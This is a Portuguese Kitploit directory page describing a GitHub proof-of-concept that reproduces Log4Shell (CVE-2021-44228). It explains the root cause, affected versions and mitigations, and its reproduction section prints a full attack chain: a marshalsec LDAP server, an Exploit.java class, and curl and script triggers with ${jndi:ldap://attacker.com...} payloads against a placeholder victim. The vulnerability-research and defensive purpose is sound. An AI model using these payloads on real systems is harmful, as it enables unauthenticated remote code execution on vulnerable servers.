Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2021-44228-log4shell_rce_reproduction — CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE | Kitploit
Ferramentas/GitHubGitHub/razureink/cve-2021-44228-log4shell_rce_reproduction
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoFerramenta de Acesso Remoto
GitHubrazureink/cve-2021-44228-log4shell_rce_reproduction

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
13há 1 mêsAinda não revisado
Compartilhar

CVE-2021-44228 — Log4Shell: Execução Remota de Código no Apache Log4j2

CVSS 10.0 CRÍTICO | CWE-502: Desserialização de Dados Não Confiáveis | CWE-917: Neutralização Impropriada para Injeção de Expression Language

Visão Geral

O Log4Shell (CVE-2021-44228) é possivelmente a vulnerabilidade mais grave da década de 2020, afetando o Apache Log4j2 nas versões 2.0 até 2.14.1. Descoberta por Chen Zhaojun da Alibaba Cloud Security em novembro de 2021 e divulgada publicamente em 9 de dezembro de 2021, ela permite execução remota de código não autenticada em centenas de milhões de servidores em todo o mundo.

A vulnerabilidade surge do recurso de lookup JNDI (Java Naming and Directory Interface) do Log4j2, que permite strings de lookup arbitrárias como ${jndi:ldap://attacker.com/a} em mensagens de log. Quando uma string controlada pelo usuário contendo tal padrão é registrada, o Log4j2 realiza o lookup JNDI, que pode carregar e executar classes Java remotas.

Detalhes Técnicos

Causa Raiz

O Log4j2 introduziu um recurso chamado "Message Lookup" que substitui padrões ${...} em mensagens de log por valores de diversas fontes (JNDI, variáveis de ambiente, propriedades do sistema, etc.). A classe () chama em strings controladas pelo atacante sem sanitização adequada.

JndiLookup
org.apache.logging.log4j.core.lookup.JndiLookup
InitialContext.lookup()
root@kitploit:~
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
    if (key == null) {
        return null;
    }
    try {
        // Directly passes attacker-controlled key to JNDI lookup
        return JndiManager.getJndiManager().lookup(key);
    } catch (...

O método lookup() delega para javax.naming.InitialContext.lookup(), que pode carregar objetos remotos de servidores LDAP, RMI, DNS ou CORBA.

Fluxo de Ataque

root@kitploit:~
1. Atacante cria payload: ${jndi:ldap://attacker.com/a}
2. O payload entra no contexto da aplicação (cabeçalho HTTP, entrada do usuário, etc.)
3. A aplicação registra o payload (ex.: via logging de requisições)
4. O Log4j2 processa o padrão ${...} e chama o JndiLookup
5. O lookup JNDI consulta o servidor LDAP controlado pelo atacante
6. O servidor LDAP responde com uma Reference apontando para a classe Java do atacante
7. O Log4j2 / JVM busca e carrega a classe remota
8. A classe do atacante executa código arbitrário na JVM da aplicação

Versões Afetadas

VersãoStatus
Log4j 2.0 – 2.14.1Vulnerável
Log4j 2.15.0-rc1Correção parcial (bypass CVE-2021-45046)
Log4j 2.15.0Correção limitada (JNDI desabilitado por padrão, lookups limitados)
Log4j 2.16.0JNDI desabilitado, Message Lookups removidos
Log4j 2.17.0Correção final para 2.x (CVE-2021-44832)
Log4j 1.xNão afetado diretamente (base de código diferente)

Reprodução

Configuração (Servidor de Referência LDAP)

Use o marshalsec para iniciar um servidor LDAP malicioso:

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

Compilar Classe Exploit

root@kitploit:~
// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
root@kitploit:~
javac Exploit.java
python3 -m http.server 80  # Serve Exploit.class

Gatilho

root@kitploit:~
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'

Ou via cabeçalho HTTP:

root@kitploit:~
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com

Código PoC

O exploit.py incluído fornece:

  • Geração de payloads de injeção JNDI (variantes LDAP, RMI, DNS)
  • Injeção em cabeçalhos HTTP para alvos comuns
  • Modo automatizado de servidor de referência LDAP
  • Colaboração com marshalsec ou autônomo

Mitigação

AbordagemDetalhes
Atualizar o Log4jAtualizar para 2.17.0+ (2.x) ou 2.12.4+ (Java 7)
Flag da JVM-Dlog4j2.formatMsgNoLookups=true
Remover JndiLookupzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Regras de WAFBloquear padrões ${jndi: em requisições
Controles de RedeBloquear LDAP/RMI de saída para servidores não confiáveis

Referências

  • NVD: CVE-2021-44228
  • Apache Log4j Security Advisory
  • CISA Log4j Guidance
  • Lunasec Log4Shell Analysis
Baixar ferramenta